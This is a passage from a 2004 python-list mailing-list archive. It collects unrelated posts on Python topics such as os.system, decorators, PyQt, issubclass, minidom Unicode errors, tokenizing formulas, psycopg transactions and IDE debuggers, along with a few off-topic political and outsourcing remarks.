Date: 29 Sep 2004 17:56:12 GMT
Subject: os.system  vs. Py2Exe
References: <81a41dd.0409280200.1a74edd1@posting.google.com>
	<77ce170c.0409280647.7e98e76d@posting.google.com>
	<81a41dd.0409281107.5fd1c525@posting.google.com>
	<4159b868$0$99417$a1866201@newsreader.visi.com>
	<cjcsu9$tda$0$216.39.172.122@theriver.com>
	<81a41dd.0409282246.3e4e5889@posting.google.com>
Message-ID: <cjesvs$4uj$0$216.39.172.122@theriver.com>

On 28 Sep 2004 23:46:34 -0700, export at hope.cz (Lad) wrote:
[...]
>.txt file is associated with a propper application( Notepad.txt). AS I
>said above, with os.startfile the file is open in Notepad.txt but not
>if I use os.system. I can not use os.startfile, because it does not
>wait until .txt file is closed
Just curious, what happened when you tried specifying the full absolute path to your
.txt file when calling os.system? e.g.
    filename = 'something.txt' # for example
    os.system(os.path.abspath(filename))
?

Regards,
Bengt Richter


From carribeiro at gmail.com  Fri Sep  3 08:31:07 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 3 Sep 2004 09:31:07 -0300
Subject: Are decorators really that different from metaclasses...
In-Reply-To: <ch9hls$600$1@sea.gmane.org>
References: <e69d3ed204082608183634bab@mail.gmail.com>	<cglg26$ehg$3@sea.gmane.org>	<e69d3ed2040827083448c31d45@mail.gmail.com>	<mailman.2548.1093646396.5135.python-list@python.org>	<cgosmb$ki0$0$216.39.172.122@theriver.com>	<mailman.2562.1093697125.5135.python-list@python.org>	<HBF.20040901iia9@bombur.uio.no>
	<ch5mkq$tb1$1@sea.gmane.org>	<20040902024221.GA3626@unpythonic.net>
	<ch6umj$74i$1@sea.gmane.org>	<20040902134641.GE24397@unpythonic.net>	<loom.20040902T173546-648@post.gmane.org>
	<e69d3ed204090302065c15e0a1@mail.gmail.com>
	<ch9hls$600$1@sea.gmane.org>
Message-ID: <864d3709040903053113fa8ae9@mail.gmail.com>

As for the actual idea, I don't like it. Jeff Shannon put it our
perfectly -- it violates the "law of the least surprise". Just as a
comparison, imagine the following scenario: a common naming convention
is to use full uppercase names for constants. Of course, there are no
real constants in Python, so we know its just a naming convention.
What if the grammar was changed to turn uppercase names into real
constants? Many of the arguments used in this discussion apply here as
well. It's easy to see that it's not a good idea.

p.s. As for the discussion itself...

[Paul Morrow]
> [Anthony Baxter]
> > I stand by my earlier comments that this is all just hand-waving and
> > fluff. There's been little concrete effort by Paul to actually spell
> > out his proposal.
> 
> I thought that you were done with this thread.  You probably should be
> as you obviously can't follow what we're talking about here.  Most of
> the others seem to.  They don't agree with me, that's clear.  But they
> do appear to understand what I am proposing.

You have to bear in mind that your proposal is not the first such idea
to pop up in existence in this mailing list over the years. And most
of the time, the idea is beaten up to death, exhausting everyone in
the process, until one of the sides just gets too tired to keep
fighting. In some cases, the idea may come up as a winner, but is the
cost really worth it?
 
-- 
Carlos Ribeiro
http://pythonnotes.blogspot.com
carribeiro at gmail.com


From phil at riverbankcomputing.co.uk  Wed Sep 22 13:33:23 2004
From: phil at riverbankcomputing.co.uk (Phil Thompson)
Date: Wed, 22 Sep 2004 18:33:23 +0100
Subject: ANN: PyQt v3.13 Released
Message-ID: <200409221833.23326.phil@riverbankcomputing.co.uk>

Riverbank Computing is pleased to announce the release of PyQt v3.13 available 
from http://www.riverbankcomputing.co.uk/.

Changes since the last release include support for the QUuid, QMetaObject and 
QMetaProperty classes.

PyQt is a comprehensive set of Qt bindings for the Python programming language 
and supports the same platforms as Qt.  Like Qt, PyQt is available under the 
GPL (for UNIX, Linux and MacOS/X), a commercial license (for Windows, UNIX, 
Linux and MacOS/X) and a free educational license (for Windows).

PyQt is implemented as a set of 9 extension modules containing 300 classes and 
over 5,750 functions and methods.

PyQt also includes bindings to QScintilla, the port to Qt of the Scintilla 
editor component.

PyQt can be used either as a rapid prototyping tool, or as an alternative to 
C++ for developing large Qt applications.

PyQt includes the pyuic utility which generates Python code to implement user 
interfaces created with Qt Designer in the same way that the uic utility 
generates C++ code.

Third party tools are also available - such as eric3, a comprehensive IDE 
(including an editor, debugger, class browser, integration with Qt Designer, 
re-factoring tools, unit testing tools and integration with source code 
control systems).  eric3 is written entirely using PyQt and is available from 
http://www.die-offenbachs.de/detlev/eric3.html.


From narshe at gmail.com  Fri Sep 24 16:28:15 2004
From: narshe at gmail.com (Josh Close)
Date: Fri, 24 Sep 2004 15:28:15 -0500
Subject: Module Pygame - "FadeOut" text
In-Reply-To: <Xns956EA2C3C476BaskariaddressNonVali@207.35.177.135>
References: <Xns956E4F8F8C192askariaddressNonVali@207.35.177.135>
	<mailman.3868.1096052483.5135.python-list@python.org>
	<Xns956EA2C3C476BaskariaddressNonVali@207.35.177.135>
Message-ID: <4a0cafe2040924132830d9dce3@mail.gmail.com>

On Fri, 24 Sep 2004 19:57:53 GMT, Askari <askari at addressnonvalide.com> wrote:
> I DON'T WANT use this mail list!  I don't want subscribe anythink for
> this info! ... News group "comp.lang.python" is the best place that I
> find with no subcribtion!
> 
> Understand Terry! (it's not the first time that you send that message)
> 
> And why I can't request info for a third-party package on this group?
> It's python, a "third-party package", yes, but it's too python... :-|

Why can't you use the pygame mailing list then?

http://pygame.org/info.shtml#maillist

-Josh


From jzheng at jpl.nasa.gov  Thu Sep 16 15:56:55 2004
From: jzheng at jpl.nasa.gov (Jason Zheng)
Date: Thu, 16 Sep 2004 12:56:55 -0700
Subject: Running scripts without installing Python?
In-Reply-To: <cf221c81.0409161114.3a441e@posting.google.com>
References: <cf221c81.0409161114.3a441e@posting.google.com>
Message-ID: <cicr67$1sq$1@nntp1.jpl.nasa.gov>

hepp wrote:
> Is it possible to run a Python script in Windows without installing
> Python on your machine first?
> 
> At my work we are using a mixed environment - some have Solaris
> workstations and others PC's. I have written an application in
> wxPython that runs in both Unix and Solaris. For the Unix version I
> put an installation of Python on a network drive that everybody can
> access, but in Windows everybody has to download Python and wxPython
> before they can run the application.
> 
> Is it possible to put a global installation on a network drive in
> Windows as well? I tried, but then it complained that it couldn't find
> some dll files when I ran the application from another computer.
> 
> I have also tried to compile the application to an executable binary
> with py2exe, but it didn't work properly.
How about compiling it to binary code?
http://starship.python.net/crew/theller/moin.cgi/Py2Exe


From aleaxit at yahoo.com  Mon Sep  6 11:40:44 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 17:40:44 +0200
Subject: Lager'd Statistics on language migration
In-Reply-To: <864d37090409060733cc54023@mail.gmail.com>
References: <2ae25c6b.0409050132.4ce24330@posting.google.com>
	<1gjoo62.k6qgc44zbkjgN%aleaxit@yahoo.com>
	<864d37090409060733cc54023@mail.gmail.com>
Message-ID: <1DB1CE0E-001B-11D9-A6A1-000A95EFAE9E@yahoo.com>


On 2004 Sep 06, at 16:33, Carlos Ribeiro wrote:

> As for Ruby, it's a different matter. I think that Ruby is a little
> farther away from Perl in the language spectrum than Python, but I
> have no hard data to back my claim. It's just how I feel about it, and

I think that Ruby has so many things in common with Perl -- mutable 
strings, regular expressions as built-ins rather than a module you need 
to import, even variable names which can be control characters...! -- 
that I'd definitely have to consider it far closer to Perl than Python 
is.

Can you point out some specific behavior, some language-design choice, 
where Ruby is farther away from Perl than Python is?


Alex



From skip at pobox.com  Wed Sep  1 12:05:51 2004
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 1 Sep 2004 11:05:51 -0500
Subject: XML documentation stinks - help?
In-Reply-To: <ch3fs2$4dc@odbk17.prod.google.com>
References: <ch3fs2$4dc@odbk17.prod.google.com>
Message-ID: <16693.62303.830147.517562@montanaro.dyndns.org>


    Simon> I'm trying to evaluate XML on Python (to eventually use it with
    Simon> XML-RPC) as apposed to Perl.

There is no need that I'm aware of to understand how Python deals with XML
to use XML-RPC.  There is already an xmlrpclib module that hides all XML
details from its users, though to speed things up a bit I urge you to
install Fredrik Lundh's sgmlop module if you decide to use xmlrpclib.  Maybe
if you can describe what you mean by "use it with XML-RPC" we can help you
avoid XML nitty gritty altogether.

    Simon> Maybe I'm missing something, but even comp.lang.python.* seems to
    Simon> have no topics on XML in the past 3 years or so - has XML been
    Simon> deprecated and I've not heard about it yet?! ;o)

XML is no panacea.  I'm sure most of the denizens of c.l.py realize that and
keep their distance when they can. ;-)

Skip


From __peter__ at web.de  Sat Sep 11 03:08:37 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 11 Sep 2004 09:08:37 +0200
Subject: How do you make issubclass work
References: <52f8effc.0409102054.4bcaa426@posting.google.com>
Message-ID: <chu89l$e70$00$1@news.t-online.com>

Nathan Bullock wrote:

> Okay I have two files:
> 
> a.py:
> -----
> class cla_a(object): pass
> 
> class cla_c(object): pass
> 
> if __name__ == "__main__":
>   mod = __import__("b")
# why not
import b as mod

>   attr = getattr(mod, "cla_b")

# why not
attr = mod.cla_b

>   print issubclass(attr, cla_a)
>   print issubclass(cla_c, cla_a)
> -----
> 
> and b.py:
> -----
> from a import cla_a
> 
> class cla_b(cla_a): pass
> -----
> 
> now if I do 'python a.py'
> it gives me:
> False
> True

Should be:
True
False
 
> Why is cla_b a subclass and not cla_c?

Here you have it right again.

That you have two different modules does not affect the class hierarchy.
Y is a subclass of X if X can be found in the inheritance tree of Y, i. e.
occurs directly in Y's bases

>>> class X: pass
...
>>> class Y(X): pass
...
>>> issubclass(Y, X)
True

or indirectly in the bases' bases:

>>> class X: pass
...
>>> class Intermediate(X): pass
...
>>> class Y(Intermediate): pass
...
>>> issubclass(Y, X)
True

On the other hand it is not sufficient for a subclass relationship when two
classes share a common ancestor:

>>> class A: pass
...
>>> class B(A): pass
...
>>> class C(A): pass
...
>>> issubclass(B, C), issubclass(C, B)
(False, False)

So you can think of subclasses as children and grandchildren, but not as
cousins. 

[As modules are cached, subsequent imports of the same module yield the same
module instance. Therefore the same classes (cla_a is cla_a == True) are
seen by all parts of a program and it (normally) doesn't matter in what
module a class is defined.]

Peter





From rpw3 at rpw3.org  Fri Sep 10 22:29:11 2004
From: rpw3 at rpw3.org (Rob Warnock)
Date: Fri, 10 Sep 2004 21:29:11 -0500
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<m1m0d.88323$S55.10260@clgrps12>
	<23t3k09ivp173r2hqpqqfaj2uhvnmbllr3@4ax.com>
Message-ID: <5radnc6ukdVq_9_cRVn-qA@speakeasy.net>

Alan Balmer  <albalmer at spamcop.net> wrote:
+---------------
| >and hidden from International Red Cross. 
| 
| Not very well, apparently. The Red Cross found them. So did a bunch of
| lawyers.
| 
| You apparently haven't been keeping up. Those DNC talking points have
| been obsolete for a while now.
+---------------

The OP is apparently not the only one who hasn't been keeping up!  ;-}

Look in today's (or yesterday's) news about new revelations during
recent Senate Armed Services Committee hearings of dozens (possibly
hundreds) more "ghost detainees" at Abu Ghurayb that the CIA kept
off the books... and *still* hasn't produced records for. [Reference:
Knight Ridder story on page 7A of today's San Jose Mercury News.]


-Rob

-----
Rob Warnock			<rpw3 at rpw3.org>
627 26th Avenue			<URL:http://rpw3.org/>
San Mateo, CA 94403		(650)572-2607



From carribeiro at gmail.com  Fri Sep 10 07:54:24 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Fri, 10 Sep 2004 08:54:24 -0300
Subject: Question: tools for business apps development
In-Reply-To: <10k2rng56uh2f64@corp.supernews.com>
References: <mailman.2847.1094238878.5135.python-list@python.org>
	<864d370904090606465938fea5@mail.gmail.com>
	<mailman.2980.1094568177.5135.python-list@python.org>
	<Xns955F1AEE4BA29JanC@213.118.38.197>
	<yMadnZ0Q_8qlJKLcRVn-gA@powergate.ca>
	<mailman.3067.1094698639.5135.python-list@python.org>
	<2qavr3Ft7dgdU1@uni-berlin.de>
	<mailman.3092.1094733220.5135.python-list@python.org>
	<2qb2tmFt7dgdU2@uni-berlin.de> <10k2rng56uh2f64@corp.supernews.com>
Message-ID: <864d370904091004546fd7cc14@mail.gmail.com>

On Fri, 10 Sep 2004 02:07:59 -0700, Larry Bugbee <bugbee at seanet.com> wrote:
> FWIW, I have removed Flash as have some other folks I know.  The reason
> is because we do not multi-task and cannot read the page with all the
> flashing and movement.  ...removed because there is no option to disable
> (yes, there are now a couple of Firefox extensions).
 
It occurred to me that the problem is not with Flash for itself. I'm
sure that good designers can do a lot of good stuff with Flash that
can't be done otherwise using DHTML or even XUL. The problem is that
is way too easy to abuse Flash.

I remember when IE started taking the market by storm, and in the
process added some annyong extensions to its own HTML version. The
worst ones were the blinking and the the "running text " (I forgot the
correct name for it now). All of a sudden almost every
I-know-HTML-and-I-pretend-to-be-a-geek website started using large
blinking red text right on the home page. Imagine what would happen if
Flash tools were more affordable...

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From steven.bethard at gmail.com  Fri Sep 17 03:28:44 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Fri, 17 Sep 2004 07:28:44 +0000 (UTC)
Subject: Recursive function not returning value
References: <10kl34qereo06ac@corp.supernews.com>
Message-ID: <loom.20040917T092208-366@post.gmane.org>

Derek Rhodes <rhoder <at> worldpath.net> writes:
> OK, I have a recursive function that should return a list, but doesn't
> 
> def test(word):
>     if type(word) == str:
>         print "it's a word"
>         test([word])
> 
>     if type(word) == list:
>         print "The conditional worked, see ->", word
>         return word

By default, if a Python function does not hit a return statement before the 
end of the function, it returns the None value.  Notice that if word is a str, 
your function executes the first if-block, including the recursive call and 
then skips the second if-block.  So in this case, you never hit a return 
statement and so Python returns None.  You probably meant to write:

def test(word):
    if type(word) == str:
        return test([word])
    if type(word) == list:
        return word

If you run into these kind of mistakes frequenly, it might be worth having 
only one return point in each function.  You would then write your code 
something like:

def test(word):
    if isinstance(word, str):
        result = test([word])
    elif isinstance(word, list):
        result = word
    else:
    	raise TypeError('unsupported type %r' % type(word))
    return result

Of course, this particular example probably doesn't merit a recursive function 
anyway, but you get the idea...

Steve




From catcher at linuxmail.org  Mon Sep 13 15:46:58 2004
From: catcher at linuxmail.org (Robert)
Date: Mon, 13 Sep 2004 15:46:58 -0400
Subject: Oracle 9i
References: <04udnfZkxaySVNjcRVn-oQ@adelphia.com>
Message-ID: <DtGdna1sc7quZNjcRVn-sA@adelphia.com>


"Robert" <catcher at linuxmail.org> wrote in message
news:04udnfZkxaySVNjcRVn-oQ at adelphia.com...
> What is the best db module to use with 9i?
>
> Robert
>
>
Ooops, never mind I found cx_Oracle.  :-)




From alban at magproductions.nl  Mon Sep 27 10:28:07 2004
From: alban at magproductions.nl (Alban Hertroys)
Date: Mon, 27 Sep 2004 16:28:07 +0200
Subject: Psycopg; How to detect row locking?
In-Reply-To: <j4mdnSn6xsECgMXcRVn-tA@giganews.com>
References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl> <m3y8iv3npy.fsf@g2ctech.com>
	<415811D2.7070408@magproductions.nl>
	<j4mdnSn6xsECgMXcRVn-tA@giganews.com>
Message-ID: <41582377.5050100@magproductions.nl>

Istvan Albert wrote:
> Alban Hertroys wrote:
> 
>> I'm also not sure whether I'm actually looking at the same 
>> transaction. Is there a way to verify such?
> 
> Are you using the same connection across threads or the
> same cursor?
> 
> Transactions happen per cursor. They get committed when you call
> the commit() on the cursor (and you probably should not share the cursor
> across threads).

Ok, that means I'm looking at different transactions. That's an 
important distinction...

> Not so along ago there was a similar post. In both, the posters were
> using a mulithreaded database system, postgresql within a mulithreaded 
> program
> yet at the same time desperately trying to fully control the database
> threads from the program threads, both hoping that transactions
> will save the day. But that is not what transactions are about. 

One of those posters was probably me... I'm still kind of stuck on the 
problem, but now knowing that I'm looking at different transactions I am 
pretty sure that I should try a different approach.

> Transactions are
> simply a way to ensure that a series of database instructions
> (within a thread) either all execute or none of them do. One can
> always try to coerce them to do something fancier or more different
> but then quality of the solution shows this.

Which would have been the case if I were looking at a single 
transaction. But apparently that's not the case. Thank you very much for 
your help, now at least I know where I should look.

Alban.


From bgabriel at mtholyoke.edu  Thu Sep 30 21:37:20 2004
From: bgabriel at mtholyoke.edu (Bishara Gabriel)
Date: Thu, 30 Sep 2004 21:37:20 -0400
Subject: Final Revision (#2) - Social Analysis & Modeling in Python
Message-ID: <415CB4D0.3040202@mtholyoke.edu>

Second Submitted Revision - Final.  Considerable additions to the 
"Project Objective" and "Our Approach" sections.

Unless you advise me to send in a third final version (even after my 
telling them that that one was final), your feedback is welcome but I 
will not be able to incorporate it as you and I may wish.

Thank you.

Sincerely,
Bishara Gabriel


From martin at v.loewis.de  Tue Sep  7 16:33:05 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 07 Sep 2004 22:33:05 +0200
Subject: minidom's setAttribute + UnicodeDecodeError
In-Reply-To: <mailman.2979.1094568094.5135.python-list@python.org>
References: <mailman.2979.1094568094.5135.python-list@python.org>
Message-ID: <413e1af8$0$151$9b622d9e@news.freenet.de>

Ruslan wrote:
> def _encode(v):
>     if isinstance(v, UnicodeType):
>         v = v.encode(v)
>     return v
> 
> ....
> node.setAttribute('style:name', _encode(value))
> ....
[...]
> Could somebody give any suggestion how to solve that? Seems problem is
> in 'ascii' codec in minidom, but how to make it handle not just ascii?

The problem is in your code. node.setAttribute requires both the
attribute name and the attribute value to be Unicode objects, as
per the DOM spec.

For backwards-compatibility, ease-of-use, and performance reasons,
it does not actually check that these are Unicode objects, and it
will work with byte strings just fine as long as they are ASCII.
But this would still be an error in the application, which really
needs to pass Unicode objects.

IOW: just remove the _encode call, and all will be fine.

Regards,
Martin


From aleaxit at yahoo.com  Thu Sep  9 12:58:47 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 9 Sep 2004 18:58:47 +0200
Subject: simple string parsing ?
References: <mailman.3102.1094738800.5135.python-list@python.org>
Message-ID: <1gjv0gq.mo3tj21rucgmhN%aleaxit@yahoo.com>

TAG <tonino.greco at gmail.com> wrote:

> Hi,
> 
> I am new to python and would like to parse a string, well acually a
> formula and get the stuff grouped together
> eg:
> 
> if  I have :
> 
> =+GC142*(GC94+0.5*sum(GC96:GC101))
> 
> and I want to get :
> 
> ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(',
> 'GC96', ':', 'GC101', ')', ')']

>>> import tokenize
>>> import cStringIO
>>> x='=+GC142*(GC94+0.5*sum(GC96:GC101))'
>>> [t[1] for t in
tokenize.generate_tokens(cStringIO.StringIO(x).readline)]
['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(',
'GC96', ':', 'GC101', ')', ')', '']
>>> 

close enough for you...?


Alex


From danperl at rogers.com  Tue Sep 28 13:53:34 2004
From: danperl at rogers.com (Dan Perl)
Date: Tue, 28 Sep 2004 13:53:34 -0400
Subject: "False exceptions?" (was Re: theme of the week: tools
References: <mailman.3802.1095960335.5135.python-list@python.org>
	<QcudnRef363plc7cRVn-vg@powergate.ca>
	<41542230.3070808@bellsouth.net>
	<mailman.3864.1096040439.5135.python-list@python.org>
	<mfydnUd5Idex1srcRVn-pQ@rogers.com>
	<tpudnXILROwO88rcRVn-sw@powergate.ca>
	<mailman.3947.1096250696.5135.python-list@python.org>
	<kdWdndU_KZvAFcrcRVn-gQ@rogers.com> <4157FD67.80404@holdenweb.com>
	<efidneft_NO8p8XcRVn-tQ@rogers.com>
	<mailman.3996.1096354841.5135.python-list@python.org>
	<Ku-dnW4Ddq1O_cTcRVn-tw@rogers.com> <uekkmibrv.fsf@fitlinxx.com>
Message-ID: <WZydndBk-MS_OMTcRVn-ug@rogers.com>


"David Bolen" <db3l at fitlinxx.com> wrote in message 
news:uekkmibrv.fsf at fitlinxx.com...
> "Dan Perl" <danperl at rogers.com> writes:
>
>> "Marco Aschwanden" <PPNTWIMBXFFC at spammotel.com> wrote in message
>> news:mailman.3996.1096354841.5135.python-list at python.org...
>> > On Mon, 27 Sep 2004 12:04:47 -0400, Dan Perl <danperl at rogers.com> 
>> > wrote:
>> >
>> > I myself felt disturbed by your comments on WingIDE. But yes, I do
>> > understand your nagging on "false exceptions" which can be turned off. 
>> > You
>> > turned it down because of this and because the short trial period 
>> > (which
>> > can be prolonged with 1 button click)... well, it didn't seem fair 
>> > towards
>> > the tool. It has its shortcomings but the ones you mention are 
>> > ridiculous.
>>
>> The 10 day trial period just gave me a bad first impression and the
>> explanations for the false positives just left me with a bad taste.  I 
>> gave
>> up on Wing because of the false positives (their simple existence, even
>> without the explanations) and the lack of a class browser.  I encountered
>> the false positives first and I almost gave up right there.  But it was 
>> just
>> the first day and I thought I should look more.  Like you say, I wanted 
>> to
>> be fair.  When I found that the class browser is not supported in the
>> Personal edition I threw my arms in the air.
>
> For whatf it's worth, the "false positives" you refer to was a
> significant reason that I really liked Wing.
>
> If you ever use any code that runs Python through an extension
> boundary (my key use is with wxPython, where all of your GUI objects
> and event handlers run from within the wxPython extension), Wing is
> one of the few debuggers that catches exceptions in that code.  That's
> because normally the exceptions are handled by the wxPython extension
> module, and then suppressed so that they don't kill the main event
> loop.

I'm new to wxPython so I cannot relate yet to what you are saying.  The 
wxPython extension module may catch the exceptions and suppress them, but 
doesn't it generate a message for that or something?  I hope that they are 
not hiding the exception completely (and that they generate something) and 
then you can still debug the problem with well placed breakpoints.  Am I 
wrong here or is there something I'm missing?

> In my experience, there are minimal other false positives that a
> normal application triggers (a consistent one I recall was in the sre
> code), although the current 2.0 beta may still be getting tuned with
> respect to its default "known" list, and I was more than willing to
> mark those to be ignored in order to be able to be sure of catching
> any exceptions within my own code, regardless of whether it was
> triggered through an extension or not.

The false positive that I encountered was indeed in 'sre', invoked by 
pickle.  I think it was an IndexError which should be a normal thing if they 
are using it to stop at the end of an iteration.  So I'm not convinced this 
would constitute "minimal" false positives.

Maybe if I would have been convinced first with a personal experience about 
the advantages of Wing's exception detection at the point of raise, then I 
would have accepted the false positives more easily.  But seeing the false 
exception first (actually right away and with positive spins on it) and then 
finding out the right technical explanation later, it made it much harder to 
swallow.

Here is my suggestion to Wingware.  Make the "Never Stop" exception 
reporting mode the default in the Personal edition or at least for the trial 
download.  A tutorial could then lead to the "Stop on Unhandled" mode.

>>(...)
>> My "nagging" on the false positives is mostly on the spin that Wingware 
>> puts
>> in their explanations.  It's one thing to explain it the way that Stephan
>> did, that it was better to offer something imperfect if that was also
>> providing some important advantages and then also offer the other
>> alternative ("We weighed having a necessarily imperfect but useful 
>> feature
>> with not having the feature at all.").  And it's another thing to insist
>> that this is not a problem and it is actually good for you.  This doesn't
>> seem to bother other people as much as it bothered me, but I do have a 
>> beef
>> with it.
>
> The actually good for you part is arguably true, since otherwise you
> have the potential to be generating exceptions in your own code and
> not even know it.  But I agree that different people will react
> differently (note how differently you and I reacted to this feature),
> so the more that can be done to explain the feature (and its
> configurability) the better.

I would need to first see an example of generating an exception without 
knowing it and that exception still being relevant although it is being 
handled.  I can imagine something not working right and an exception being 
one more indication for the problem, but then there are still other good 
ways to debug the problem.  And if things are working, I don't see how 
hidden exceptions may be of interest.  I have very little experience with 
GUIs but I realize that unit testing is much more difficult for GUIs.  Does 
that make it necessary to "hunt for exceptions" like that instead of testing 
for results correctness?  It may also be just my short experience with 
Python and especially my total lack of experience with complex systems in 
Python (e.g, Zope), so I'm ready to listen to an argument on that point.

Dan

> -- David 




From ml at dynkin.com  Mon Sep 13 14:01:09 2004
From: ml at dynkin.com (George Yoshida)
Date: Tue, 14 Sep 2004 03:01:09 +0900
Subject: getting errno from OSError exception?
In-Reply-To: <y_k1d.15062$QJ3.4956@newssvr21.news.prodigy.com>
References: <y_k1d.15062$QJ3.4956@newssvr21.news.prodigy.com>
Message-ID: <ci4n7o$o5$1@dojima-n0.hi-ho.ne.jp>

Mark Harrison wrote:


> Can somebody loan me a clue as to how to check the errno on
> an OSError, as described below?
> 
> try:
>     os.makedirs(d)
> except OSError:
>     # if errno == 17 then silently ignore the error because the
>     # other process won the race condition and created the directory
>     # otherwise, allow the exception to percolate up the call stack
>     # and be caught by the standard error reporter
> 

What about this?

try:
   os.makedirs(d)
except OSError, e:
   if e.errno == 17:
     do_something


- george


From indigo at bitglue.com  Wed Sep 29 08:47:03 2004
From: indigo at bitglue.com (Phil Frost)
Date: Wed, 29 Sep 2004 08:47:03 -0400
Subject: embedding python in python
In-Reply-To: <415a7f0b$1@news.unimelb.edu.au>
References: <415a7f0b$1@news.unimelb.edu.au>
Message-ID: <20040929124703.GA7944@unununium.org>

Use exec.

On Wed, Sep 29, 2004 at 09:23:28AM +0000, Maurice LING wrote:
> Hi,
> 
> anyone had any experiences in embedding python in python?
> 
> I've tried to do this but it doesn't work.
> 
> eval("from Tkinter import *")


From luismg at gmx.net  Thu Sep 23 17:37:40 2004
From: luismg at gmx.net (Neuruss)
Date: 23 Sep 2004 14:37:40 -0700
Subject: Don't let your babies grow up to be programmers (was: up with
	PyGUI!)
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<1095378815.31957.166.camel@devilbox.devilnet.internal>
	<cio5gu$2nk$1@sea.gmane.org>
	<mailman.3701.1095836355.5135.python-list@python.org>
	<rp0b22-l8g.ln1@lairds.us>
Message-ID: <278de0e.0409231337.1a032135@posting.google.com>

I'd just like to add a comment, not to start an endless debate on U.S
economic or trade policy...
IMHO what you are experiencing in the U.S is just another sign of the
globalization process, which is bad from an american perspective, but
good from a global one.

For too long, the industrialized countries have enjoy the power of
their competitiveness and technical inovation while, at the same time,
they have been protecting their less competitive sectors such as
agriculture and labor intensive jobs. But this situation led to a club
of rich nations isolated from a mass of third world countries, whose
primary products weren't allowed to enter the rich markets due to very
rigid policy of subsidies and trade barriers.

But how can IBM, Microsoft, HP, and all those monsters keep on growing
without selling to the so called "emerging markets"? By trading with
Mars?
If the rich want to get richer, sooner or later they will have to even
the field, allowing others to rise from missery in order to
incorporate them to the consumption society.

Now you see China, India, Brazil and other countries that are doing
well, improving the condition of their inhabitants, getting them out
of missery and incorporating them to the global market.
Those foreigners buy american products, now more than before because
they have more money, thus improving the profit of the monsters
mentioned above.
Here in latin america we buy these products, and at the same price or
more in US Dollars (not a penny less), don't you think we deserve
something in exchange?
I don't mean humanitarian supplies, I mean more fair and equitable
rules for trading of products, skills and resources.

After a very hard devaluation of our currency, an argentine programmer
is paid 11 dollars less an hour than an indian one. Now, many educated
people, with knowledge of two or more languages and with high tech
skills can aspire to pay the rent and make a living, making 4 or 5x
less than an american counterpart.
These people worked their ass off to have what they're getting now.

Honestly, do you expect them to be sorry for you?
I'm affraid that there's no way back. A highly skilled programmer in
the third world (or any other kind of proffesional) deserves to get a
job if he/she can do it better and cheaper than an american (or
canadian or whatever..) one.
This is the internet age. I hope that it contributes to make the poor
less poor and the rich not so rich, and maybe, in a distant future we
will have a better world for all of us.


From ben at benlast.com  Mon Sep 27 10:28:43 2004
From: ben at benlast.com (Ben Last)
Date: Mon, 27 Sep 2004 15:28:43 +0100
Subject: Anonymous class members
In-Reply-To: <864d370904092707013e2254a6@mail.gmail.com>
Message-ID: <HLEGKHKIKMEHENBAEIEPKEBFCKAA.ben@benlast.com>

I'm probably missing something here... but if you want a collection of
anonymous attributes... why not just store them in a list?

> -----Original Message-----
> From Carlos Ribeiro

>     class body(HtmlBody)
>         H1('Anonymous class members' )
>         P('This is an example of anonymous class members')
Give yourself a class such as:
class HtmlElement:
	tag = None
	content = None
	attributes = None
	def __init__(self, tag, content, attributes):

etc etc etc, and have a list of them in the body?  Thus you have un-named
data.

Yours, admitting freely that he skimmed the email whilst drinking tea...
ben



From rschroev_nospam_ml at fastmail.fm  Thu Sep  2 08:09:51 2004
From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven)
Date: Thu, 02 Sep 2004 12:09:51 GMT
Subject: allowing braces around suites
In-Reply-To: <slrncjdvf2.7or.apardon@rcpc42.vub.ac.be>
References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no>
	<cgn73r$scr$1@nntp0.reith.bbc.co.uk>
	<mailman.2515.1093608707.5135.python-list@python.org>
	<1rk6vkeo5d.fsf@rovereto.ifi.uio.no>
	<87hdqok9i6.fsf@sinken.local.csis.hku.hk>
	<1rfz68ely9.fsf@rovereto.ifi.uio.no>
	<876574k7du.fsf@sinken.local.csis.hku.hk>
	<1r3c28ejis.fsf@rovereto.ifi.uio.no>
	<zILXc.54863$xi6.26091@fe2.texas.rr.com>
	<1rllg0cb3m.fsf@rovereto.ifi.uio.no>
	<874qmovxna.fsf@sinken.local.csis.hku.hk>
	<slrncj8kv2.kp.apardon@trout.vub.ac.be>
	<slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au>
	<slrncj94hr.kp.apardon@trout.vub.ac.be>
	<du7oekrnwc8.fsf@amadeus.cc.tut.fi>
	<slrncjaq3l.kp.apardon@trout.vub.ac.be>
	<xpmZc.17356$ni.800@okepread01>
	<slrncjdvf2.7or.apardon@rcpc42.vub.ac.be>
Message-ID: <j4EZc.234120$bX7.11911229@phobos.telenet-ops.be>

Antoon Pardon wrote:

> Op 2004-09-01, Steve Holden schreef <sholden at holdenweb.com>:
> 
>>If your program logic is too deeply nested with conditions then 
>>functions and classes provide a powerful logical abstraction to fight 
>>the complexity and improve code reliability and maintainability.
> 
> 
> Only if that code has some usefull abstraction. Just putting some
> code in a function doesn't provide any usefull abstraction.

In my experience, you can always find a sensible and useful abstraction, 
but in the absence of a real-world example I guess we'll have to agree 
to disagree.


-- 
"Codito ergo sum"
Roel Schroeven


From carribeiro at gmail.com  Sat Sep 25 19:12:25 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Sat, 25 Sep 2004 20:12:25 -0300
Subject: Why not FP for Money?
